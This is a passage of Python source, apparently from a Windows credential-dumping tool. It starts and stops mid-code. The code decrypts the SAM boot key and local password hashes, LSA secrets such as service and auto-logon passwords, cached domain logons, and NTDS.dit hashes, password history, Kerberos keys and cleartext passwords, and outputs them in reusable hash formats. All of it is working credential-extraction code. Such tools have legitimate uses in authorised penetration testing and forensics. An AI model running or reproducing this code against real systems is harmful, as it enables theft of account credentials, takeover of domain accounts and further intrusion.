self.__cryptoCommon = CryptoCommon()
self.__itemsFound = {}
self.__perSecretCallback = perSecretCallback
def MD5(self, data):
md5 = hashlib.new('md5')
md5.update(data)
return md5.digest()
def getHBootKey(self):
LOG.debug('Calculating HashedBootKey from SAM')
QWERTY = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
DIGITS = "0123456789012345678901234567890123456789\0"
F = self.getValue(ntpath.join('SAM\Domains\Account','F'))[1]
domainData = DOMAIN_ACCOUNT_F(F)
rc4Key = self.MD5(domainData['Key0']['Salt'] + QWERTY + self.__bootKey + DIGITS)
rc4 = ARC4.new(rc4Key)
self.__hashedBootKey = rc4.encrypt(domainData['Key0']['Key']+domainData['Key0']['CheckSum'])
# Verify key with checksum
checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY)
if checkSum != self.__hashedBootKey[16:]:
raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')
def __decryptHash(self, rid, cryptedHash, constant):
# Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key
# plus hashedBootKey stuff
Key1,Key2 = self.__cryptoCommon.deriveKey(rid)
Crypt1 = DES.new(Key1, DES.MODE_ECB)
Crypt2 = DES.new(Key2, DES.MODE_ECB)
rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant )
rc4 = ARC4.new(rc4Key)
key = rc4.encrypt(cryptedHash)
decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:])
return decryptedHash
def dump(self):
NTPASSWORD = "NTPASSWORD\0"
LMPASSWORD = "LMPASSWORD\0"
if self.__samFile is None:
# No SAM file provided
return
LOG.info('Dumping local SAM hashes (uid:rid:lmhash:nthash)')
self.getHBootKey()
usersKey = 'SAM\\Domains\\Account\\Users'
# Enumerate all the RIDs
rids = self.enumKey(usersKey)
# Remove the Names item
try:
rids.remove('Names')
except:
pass
for rid in rids:
userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1])
rid = int(rid,16)
V = userAccount['Data']
userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le')
if userAccount['LMHashLength'] == 20:
encLMHash = V[userAccount['LMHashOffset']+4:userAccount['LMHashOffset']+userAccount['LMHashLength']]
else:
encLMHash = ''
if userAccount['NTHashLength'] == 20:
encNTHash = V[userAccount['NTHashOffset']+4:userAccount['NTHashOffset']+userAccount['NTHashLength']]
else:
encNTHash = ''
lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD)
ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD)
if lmHash == '':
lmHash = ntlm.LMOWFv1('','')
if ntHash == '':
ntHash = ntlm.NTOWFv1('','')
answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash), hexlify(ntHash))
self.__itemsFound[rid] = answer
self.__perSecretCallback(answer)
def export(self, fileName):
if len(self.__itemsFound) > 0:
items = sorted(self.__itemsFound)
fd = codecs.open(fileName+'.sam','w+', encoding='utf-8')
for item in items:
fd.write(self.__itemsFound[item]+'\n')
fd.close()
class LSASecrets(OfflineRegistry):
UNKNOWN_USER = '(Unknown User)'
class SECRET_TYPE:
LSA = 0
LSA_HASHED = 1
def __init__(self, securityFile, bootKey, remoteOps=None, isRemote=False,
perSecretCallback=lambda secretType, secret: _print_helper(secret)):
OfflineRegistry.__init__(self, securityFile, isRemote)
self.__hashedBootKey = ''
self.__bootKey = bootKey
self.__LSAKey = ''
self.__NKLMKey = ''
self.__isRemote = isRemote
self.__vistaStyle = True
self.__cryptoCommon = CryptoCommon()
self.__securityFile = securityFile
self.__remoteOps = remoteOps
self.__cachedItems = []
self.__secretItems = []
self.__perSecretCallback = perSecretCallback
def MD5(self, data):
md5 = hashlib.new('md5')
md5.update(data)
return md5.digest()
def __sha256(self, key, value, rounds=1000):
sha = hashlib.sha256()
sha.update(key)
for i in range(1000):
sha.update(value)
return sha.digest()
def __decryptSecret(self, key, value):
# [MS-LSAD] Section 5.1.2
plainText = ''
encryptedSecretSize = unpack('<I', value[:4])[0]
value = value[len(value)-encryptedSecretSize:]
key0 = key
for i in range(0, len(value), 8):
cipherText = value[:8]
tmpStrKey = key0[:7]
tmpKey = self.__cryptoCommon.transformKey(tmpStrKey)
Crypt1 = DES.new(tmpKey, DES.MODE_ECB)
plainText += Crypt1.decrypt(cipherText)
key0 = key0[7:]
value = value[8:]
# AdvanceKey
if len(key0) < 7:
key0 = key[len(key0):]
secret = LSA_SECRET_XP(plainText)
return secret['Secret']
def __decryptHash(self, key, value, iv):
hmac_md5 = HMAC.new(key,iv)
rc4key = hmac_md5.digest()
rc4 = ARC4.new(rc4key)
data = rc4.encrypt(value)
return data
def __decryptLSA(self, value):
if self.__vistaStyle is True:
# ToDo: There could be more than one LSA Keys
record = LSA_SECRET(value)
tmpKey = self.__sha256(self.__bootKey, record['EncryptedData'][:32])
plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
record = LSA_SECRET_BLOB(plainText)
self.__LSAKey = record['Secret'][52:][:32]
else:
md5 = hashlib.new('md5')
md5.update(self.__bootKey)
for i in range(1000):
md5.update(value[60:76])
tmpKey = md5.digest()
rc4 = ARC4.new(tmpKey)
plainText = rc4.decrypt(value[12:60])
self.__LSAKey = plainText[0x10:0x20]
def __getLSASecretKey(self):
LOG.debug('Decrypting LSA Key')
# Let's try the key post XP
value = self.getValue('\\Policy\\PolEKList\\default')
if value is None:
LOG.debug('PolEKList not found, trying PolSecretEncryptionKey')
# Second chance
value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default')
self.__vistaStyle = False
if value is None:
# No way :(
return None
self.__decryptLSA(value[1])
def __getNLKMSecret(self):
LOG.debug('Decrypting NL$KM')
value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default')
if value is None:
raise Exception("Couldn't get NL$KM value")
if self.__vistaStyle is True:
record = LSA_SECRET(value[1])
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
self.__NKLMKey = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
else:
self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1])
def __pad(self, data):
if (data & 0x3) > 0:
return data + (data & 0x3)
else:
return data
def dumpCachedHashes(self):
if self.__securityFile is None:
# No SECURITY file provided
return
LOG.info('Dumping cached domain logon information (uid:encryptedHash:longDomain:domain)')
# Let's first see if there are cached entries
values = self.enumValues('\\Cache')
if values is None:
# No cache entries
return
try:
# Remove unnecesary value
values.remove('NL$Control')
except:
pass
self.__getLSASecretKey()
self.__getNLKMSecret()
for value in values:
LOG.debug('Looking into %s' % value)
record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value))[1])
if record['CH'] != 16 * '\x00':
if self.__vistaStyle is True:
plainText = self.__cryptoCommon.decryptAES(self.__NKLMKey[16:32], record['EncryptedData'], record['CH'])
else:
plainText = self.__decryptHash(self.__NKLMKey, record['EncryptedData'], record['CH'])
pass
encHash = plainText[:0x10]
plainText = plainText[0x48:]
userName = plainText[:record['UserLength']].decode('utf-16le')
plainText = plainText[self.__pad(record['UserLength']):]
domain = plainText[:record['DomainNameLength']].decode('utf-16le')
plainText = plainText[self.__pad(record['DomainNameLength']):]
domainLong = plainText[:self.__pad(record['FullDomainLength'])].decode('utf-16le')
answer = "%s:%s:%s:%s:::" % (userName, hexlify(encHash), domainLong, domain)
self.__cachedItems.append(answer)
self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA_HASHED, answer)
def __printSecret(self, name, secretItem):
# Based on [MS-LSAD] section 3.1.1.4
# First off, let's discard NULL secrets.
if len(secretItem) == 0:
LOG.debug('Discarding secret %s, NULL Data' % name)
return
# We might have secrets with zero
if secretItem.startswith('\x00\x00'):
LOG.debug('Discarding secret %s, all zeros' % name)
return
upperName = name.upper()
LOG.info('%s ' % name)
secret = ''
if upperName.startswith('_SC_'):
# Service name, a password might be there
# Let's first try to decode the secret
try:
strDecoded = secretItem.decode('utf-16le')
except:
pass
else:
# We have to get the account the service
# runs under
if self.__isRemote is True:
account = self.__remoteOps.getServiceAccount(name[4:])
if account is None:
secret = self.UNKNOWN_USER + ':'
else:
secret = "%s:" % account
else:
# We don't support getting this info for local targets at the moment
secret = self.UNKNOWN_USER + ':'
secret += strDecoded
elif upperName.startswith('DEFAULTPASSWORD'):
# defaults password for winlogon
# Let's first try to decode the secret
try:
strDecoded = secretItem.decode('utf-16le')
except:
pass
else:
# We have to get the account this password is for
if self.__isRemote is True:
account = self.__remoteOps.getDefaultLoginAccount()
if account is None:
secret = self.UNKNOWN_USER + ':'
else:
secret = "%s:" % account
else:
# We don't support getting this info for local targets at the moment
secret = self.UNKNOWN_USER + ':'
secret += strDecoded
elif upperName.startswith('ASPNET_WP_PASSWORD'):
try:
strDecoded = secretItem.decode('utf-16le')
except:
pass
else:
secret = 'ASPNET: %s' % strDecoded
elif upperName.startswith('$MACHINE.ACC'):
# compute MD4 of the secret.. yes.. that is the nthash? :-o
md4 = MD4.new()
md4.update(secretItem)
if self.__isRemote is True:
machine, domain = self.__remoteOps.getMachineNameAndDomain()
secret = "%s\\%s$:%s:%s:::" % (domain, machine, hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest()))
else:
secret = "$MACHINE.ACC: %s:%s" % (hexlify(ntlm.LMOWFv1('','')), hexlify(md4.digest()))
if secret != '':
printableSecret = secret
self.__secretItems.append(secret)
else:
# Default print, hexdump
printableSecret = '%s:%s' % (name, hexlify(secretItem))
self.__secretItems.append(printableSecret)
# If we're using the default callback (ourselves), we print the hex representation. If not, the
# user will need to decide what to do.
if self.__module__ == self.__perSecretCallback.__module__:
hexdump(secretItem)
self.__perSecretCallback(LSASecrets.SECRET_TYPE.LSA, printableSecret)
def dumpSecrets(self):
if self.__securityFile is None:
# No SECURITY file provided
return
LOG.info('Dumping LSA Secrets')
# Let's first see if there are cached entries
keys = self.enumKey('\\Policy\\Secrets')
if keys is None:
# No entries
return
try:
# Remove unnecesary value
keys.remove('NL$Control')
except:
pass
if self.__LSAKey == '':
self.__getLSASecretKey()
for key in keys:
LOG.debug('Looking into %s' % key)
value = self.getValue('\\Policy\\Secrets\\%s\\CurrVal\\default' % key)
if value is not None:
if self.__vistaStyle is True:
record = LSA_SECRET(value[1])
tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32])
plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:])
record = LSA_SECRET_BLOB(plainText)
secret = record['Secret']
else:
secret = self.__decryptSecret(self.__LSAKey, value[1])
self.__printSecret(key, secret)
def exportSecrets(self, fileName):
if len(self.__secretItems) > 0:
fd = codecs.open(fileName+'.secrets','w+', encoding='utf-8')
for item in self.__secretItems:
fd.write(item+'\n')
fd.close()
def exportCached(self, fileName):
if len(self.__cachedItems) > 0:
fd = codecs.open(fileName+'.cached','w+', encoding='utf-8')
for item in self.__cachedItems:
fd.write(item+'\n')
fd.close()
class NTDSHashes:
class SECRET_TYPE:
NTDS = 0
NTDS_CLEARTEXT = 1
NTDS_KERBEROS = 2
NAME_TO_INTERNAL = {
'uSNCreated':'ATTq131091',
'uSNChanged':'ATTq131192',
'name':'ATTm3',
'objectGUID':'ATTk589826',
'objectSid':'ATTr589970',
'userAccountControl':'ATTj589832',
'primaryGroupID':'ATTj589922',
'accountExpires':'ATTq589983',
'logonCount':'ATTj589993',
'sAMAccountName':'ATTm590045',
'sAMAccountType':'ATTj590126',
'lastLogonTimestamp':'ATTq589876',
'userPrincipalName':'ATTm590480',
'unicodePwd':'ATTk589914',
'dBCSPwd':'ATTk589879',
'ntPwdHistory':'ATTk589918',
'lmPwdHistory':'ATTk589984',
'pekList':'ATTk590689',
'supplementalCredentials':'ATTk589949',
'pwdLastSet':'ATTq589920',
}
NAME_TO_ATTRTYP = {
'userPrincipalName': 0x90290,
'sAMAccountName': 0x900DD,
'unicodePwd': 0x9005A,
'dBCSPwd': 0x90037,
'ntPwdHistory': 0x9005E,
'lmPwdHistory': 0x900A0,
'supplementalCredentials': 0x9007D,
'objectSid': 0x90092,
'userAccountControl':0x90008,
}
ATTRTYP_TO_ATTID = {
'userPrincipalName': '1.2.840.113556.1.4.656',
'sAMAccountName': '1.2.840.113556.1.4.221',
'unicodePwd': '1.2.840.113556.1.4.90',
'dBCSPwd': '1.2.840.113556.1.4.55',
'ntPwdHistory': '1.2.840.113556.1.4.94',
'lmPwdHistory': '1.2.840.113556.1.4.160',
'supplementalCredentials': '1.2.840.113556.1.4.125',
'objectSid': '1.2.840.113556.1.4.146',
'pwdLastSet': '1.2.840.113556.1.4.96',
'userAccountControl':'1.2.840.113556.1.4.8',
}
KERBEROS_TYPE = {
1:'dec-cbc-crc',
3:'des-cbc-md5',
17:'aes128-cts-hmac-sha1-96',
18:'aes256-cts-hmac-sha1-96',
0xffffff74:'rc4_hmac',
}
INTERNAL_TO_NAME = dict((v,k) for k,v in NAME_TO_INTERNAL.iteritems())
SAM_NORMAL_USER_ACCOUNT = 0x30000000
SAM_MACHINE_ACCOUNT = 0x30000001
SAM_TRUST_ACCOUNT = 0x30000002
ACCOUNT_TYPES = ( SAM_NORMAL_USER_ACCOUNT, SAM_MACHINE_ACCOUNT, SAM_TRUST_ACCOUNT)
class PEKLIST_ENC(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('EncryptedPek',':'),
)
class PEKLIST_PLAIN(Structure):
structure = (
('Header','32s=""'),
('DecryptedPek',':'),
)
class PEK_KEY(Structure):
structure = (
('Header','1s=""'),
('Padding','3s=""'),
('Key','16s=""'),
)
class CRYPTED_HASH(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('EncryptedHash','16s=""'),
)
class CRYPTED_HASHW16(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('Unknown','<L=0'),
('EncryptedHash','32s=""'),
)
class CRYPTED_HISTORY(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('EncryptedHash',':'),
)
class CRYPTED_BLOB(Structure):
structure = (
('Header','8s=""'),
('KeyMaterial','16s=""'),
('EncryptedHash',':'),
)
def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=True, remoteOps=None,
useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None,
justUser=None, printUserStatus=False,
perSecretCallback = lambda secretType, secret : _print_helper(secret)):
self.__bootKey = bootKey
self.__NTDS = ntdsFile
self.__history = history
self.__noLMHash = noLMHash
self.__useVSSMethod = useVSSMethod
self.__remoteOps = remoteOps
self.__pwdLastSet = pwdLastSet
self.__printUserStatus = printUserStatus
if self.__NTDS is not None:
self.__ESEDB = ESENT_DB(ntdsFile, isRemote = isRemote)
self.__cursor = self.__ESEDB.openTable('datatable')
self.__tmpUsers = list()
self.__PEK = list()
self.__cryptoCommon = CryptoCommon()
self.__kerberosKeys = OrderedDict()
self.__clearTextPwds = OrderedDict()
self.__justNTLM = justNTLM
self.__savedSessionFile = resumeSession
self.__resumeSessionFile = None
self.__outputFileName = outputFileName
self.__justUser = justUser
self.__perSecretCallback = perSecretCallback
def getResumeSessionFile(self):
return self.__resumeSessionFile
def __getPek(self):
LOG.info('Searching for pekList, be patient')
peklist = None
while True:
try:
record = self.__ESEDB.getNextRow(self.__cursor)
except:
LOG.error('Error while calling getNextRow(), trying the next one')
continue
if record is None:
break
elif record[self.NAME_TO_INTERNAL['pekList']] is not None:
peklist = unhexlify(record[self.NAME_TO_INTERNAL['pekList']])
break
elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
# Okey.. we found some users, but we're not yet ready to process them.
# Let's just store them in a temp list
self.__tmpUsers.append(record)
if peklist is not None:
encryptedPekList = self.PEKLIST_ENC(peklist)
if encryptedPekList['Header'][:4] == '\x02\x00\x00\x00':
# Up to Windows 2012 R2 looks like header starts this way
md5 = hashlib.new('md5')
md5.update(self.__bootKey)
for i in range(1000):
md5.update(encryptedPekList['KeyMaterial'])
tmpKey = md5.digest()
rc4 = ARC4.new(tmpKey)
decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek']))
PEKLen = len(self.PEK_KEY())
for i in range(len( decryptedPekList['DecryptedPek'] ) / PEKLen ):
cursor = i * PEKLen
pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen])
LOG.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key']))
self.__PEK.append(pek['Key'])
elif encryptedPekList['Header'][:4] == '\x03\x00\x00\x00':
# Windows 2016 TP4 header starts this way
# Encrypted PEK Key seems to be different, but actually similar to decrypting LSA Secrets.
# using AES:
# Key: the bootKey
# CipherText: PEKLIST_ENC['EncryptedPek']
# IV: PEKLIST_ENC['KeyMaterial']
decryptedPekList = self.PEKLIST_PLAIN(
self.__cryptoCommon.decryptAES(self.__bootKey, encryptedPekList['EncryptedPek'],
encryptedPekList['KeyMaterial']))
self.__PEK.append(decryptedPekList['DecryptedPek'][4:][:16])
LOG.info("PEK # 0 found and decrypted: %s", hexlify(decryptedPekList['DecryptedPek'][4:][:16]))
def __removeRC4Layer(self, cryptedHash):
md5 = hashlib.new('md5')
# PEK index can be found on header of each ciphered blob (pos 8-10)
pekIndex = hexlify(cryptedHash['Header'])
md5.update(self.__PEK[int(pekIndex[8:10])])
md5.update(cryptedHash['KeyMaterial'])
tmpKey = md5.digest()
rc4 = ARC4.new(tmpKey)
plainText = rc4.encrypt(cryptedHash['EncryptedHash'])
return plainText
def __removeDESLayer(self, cryptedHash, rid):
Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid))
Crypt1 = DES.new(Key1, DES.MODE_ECB)
Crypt2 = DES.new(Key2, DES.MODE_ECB)
decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:])
return decryptedHash
@staticmethod
def __fileTimeToDateTime(t):
t -= 116444736000000000
t /= 10000000
if t < 0:
return 'never'
else:
dt = datetime.fromtimestamp(t)
return dt.strftime("%Y-%m-%d %H:%M")
def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, clearTextFile=None):
# This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
haveInfo = False
LOG.debug('Entering NTDSHashes.__decryptSupplementalInfo')
if self.__useVSSMethod is True:
if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None:
if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24:
if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
else:
userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))
if cipherText['Header'][:4] == '\x13\x00\x00\x00':
# Win2016 TP4 decryption is different
pekIndex = hexlify(cipherText['Header'])
plainText = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
cipherText['EncryptedHash'][4:],
cipherText['KeyMaterial'])
haveInfo = True
else:
plainText = self.__removeRC4Layer(cipherText)
haveInfo = True
else:
domain = None
userName = None
replyVersion = 'V%d' % record['pdwOutVersion']
for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:
try:
attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
except Exception, e:
LOG.debug('Failed to execute OidFromAttid with error %s' % e)
# Fallbacking to fixed table and hope for the best
attId = attr['attrTyp']
LOOKUP_TABLE = self.NAME_TO_ATTRTYP
if attId == LOOKUP_TABLE['userPrincipalName']:
if attr['AttrVal']['valCount'] > 0:
try:
domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
except:
domain = None
else:
domain = None
elif attId == LOOKUP_TABLE['sAMAccountName']:
if attr['AttrVal']['valCount'] > 0:
try:
userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
except:
LOG.error(
'Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
userName = 'unknown'
else:
LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
userName = 'unknown'
if attId == LOOKUP_TABLE['supplementalCredentials']:
if attr['AttrVal']['valCount'] > 0:
blob = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob)
if len(plainText) > 24:
haveInfo = True
if domain is not None:
userName = '%s\\%s' % (domain, userName)
if haveInfo is True:
try:
userProperties = samr.USER_PROPERTIES(plainText)
except:
# On some old w2k3 there might be user properties that don't
# match [MS-SAMR] structure, discarding them
return
propertiesData = userProperties['UserProperties']
for propertyCount in range(userProperties['PropertyCount']):
userProperty = samr.USER_PROPERTY(propertiesData)
propertiesData = propertiesData[len(userProperty):]
# For now, we will only process Newer Kerberos Keys and CLEARTEXT
if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
data = kerbStoredCredentialNew['Buffer']
for credential in range(kerbStoredCredentialNew['CredentialCount']):
keyDataNew = samr.KERB_KEY_DATA_NEW(data)
data = data[len(keyDataNew):]
keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]
if self.KERBEROS_TYPE.has_key(keyDataNew['KeyType']):
answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue))
else:
answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue))
# We're just storing the keys, not printing them, to make the output more readable
# This is kind of ugly... but it's what I came up with tonight to get an ordered
# set :P. Better ideas welcomed ;)
self.__kerberosKeys[answer] = None
if keysFile is not None:
self.__writeOutput(keysFile, answer + '\n')
elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT':
# [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property
# This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.
try:
answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le'))
except UnicodeDecodeError:
# This could be because we're decoding a machine password. Printing it hex
answer = "%s:CLEARTEXT:0x%s" % (userName, userProperty['PropertyValue'])
self.__clearTextPwds[answer] = None
if clearTextFile is not None:
self.__writeOutput(clearTextFile, answer + '\n')
if clearTextFile is not None:
clearTextFile.flush()
if keysFile is not None:
keysFile.flush()
LOG.debug('Leaving NTDSHashes.__decryptSupplementalInfo')
def __decryptHash(self, record, prefixTable=None, outputFile=None):
LOG.debug('Entering NTDSHashes.__decryptHash')
if self.__useVSSMethod is True:
LOG.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']])
sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]))
rid = sid.formatCanonical().split('-')[-1]
if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None:
encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
tmpLMHash = self.__removeRC4Layer(encryptedLMHash)
LMHash = self.__removeDESLayer(tmpLMHash, rid)
else:
LMHash = ntlm.LMOWFv1('', '')
if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None:
encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
if encryptedNTHash['Header'][:4] == '\x13\x00\x00\x00':
# Win2016 TP4 decryption is different
encryptedNTHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
pekIndex = hexlify(encryptedNTHash['Header'])
tmpNTHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
encryptedNTHash['EncryptedHash'][:16],
encryptedNTHash['KeyMaterial'])
else:
tmpNTHash = self.__removeRC4Layer(encryptedNTHash)
NTHash = self.__removeDESLayer(tmpNTHash, rid)
else:
NTHash = ntlm.NTOWFv1('', '')
if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
else:
userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
if self.__printUserStatus is True:
# Enabled / disabled users
if record[self.NAME_TO_INTERNAL['userAccountControl']] is not None:
if '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '1':
userAccountStatus = 'Disabled'
elif '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '0':
userAccountStatus = 'Enabled'
else:
userAccountStatus = 'N/A'
if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None:
pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']])
else:
pwdLastSet = 'N/A'
answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash))
if self.__pwdLastSet is True:
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
if self.__printUserStatus is True:
answer = "%s (status=%s)" % (answer, userAccountStatus)
self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
if self.__history:
LMHistory = []
NTHistory = []
if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None:
encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']]))
tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory)
for i in range(0, len(tmpLMHistory) / 16):
LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
LMHistory.append(LMHash)
if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None:
encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
if encryptedNTHistory['Header'][:4] == '\x13\x00\x00\x00':
# Win2016 TP4 decryption is different
pekIndex = hexlify(encryptedNTHistory['Header'])
tmpNTHistory = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
encryptedNTHistory['EncryptedHash'],
encryptedNTHistory['KeyMaterial'])
else:
tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)
for i in range(0, len(tmpNTHistory) / 16):
NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
NTHistory.append(NTHash)
for i, (LMHash, NTHash) in enumerate(
map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
if self.__noLMHash:
lmhash = hexlify(ntlm.LMOWFv1('', ''))
else:
lmhash = hexlify(LMHash)
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHash))
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
else:
replyVersion = 'V%d' %record['pdwOutVersion']
LOG.debug('Decrypting hash for user: %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
domain = None
if self.__history:
LMHistory = []
NTHistory = []
rid = unpack('<L', record['pmsgOut'][replyVersion]['pObjects']['Entinf']['pName']['Sid'][-4:])[0]
for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:
try:
attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
except Exception, e:
LOG.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e)
# Fallbacking to fixed table and hope for the best
attId = attr['attrTyp']
LOOKUP_TABLE = self.NAME_TO_ATTRTYP
if attId == LOOKUP_TABLE['dBCSPwd']:
if attr['AttrVal']['valCount'] > 0:
encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd)
LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)
else:
LMHash = ntlm.LMOWFv1('', '')
elif attId == LOOKUP_TABLE['unicodePwd']:
if attr['AttrVal']['valCount'] > 0:
encryptedUnicodePwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal'])
encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd)
NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)
else:
NTHash = ntlm.NTOWFv1('', '')
elif attId == LOOKUP_TABLE['userPrincipalName']:
if attr['AttrVal']['valCount'] > 0:
try:
domain = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
except:
domain = None
else:
domain = None
elif attId == LOOKUP_TABLE['sAMAccountName']:
if attr['AttrVal']['valCount'] > 0:
try:
userName = ''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
except:
LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
userName = 'unknown'
else:
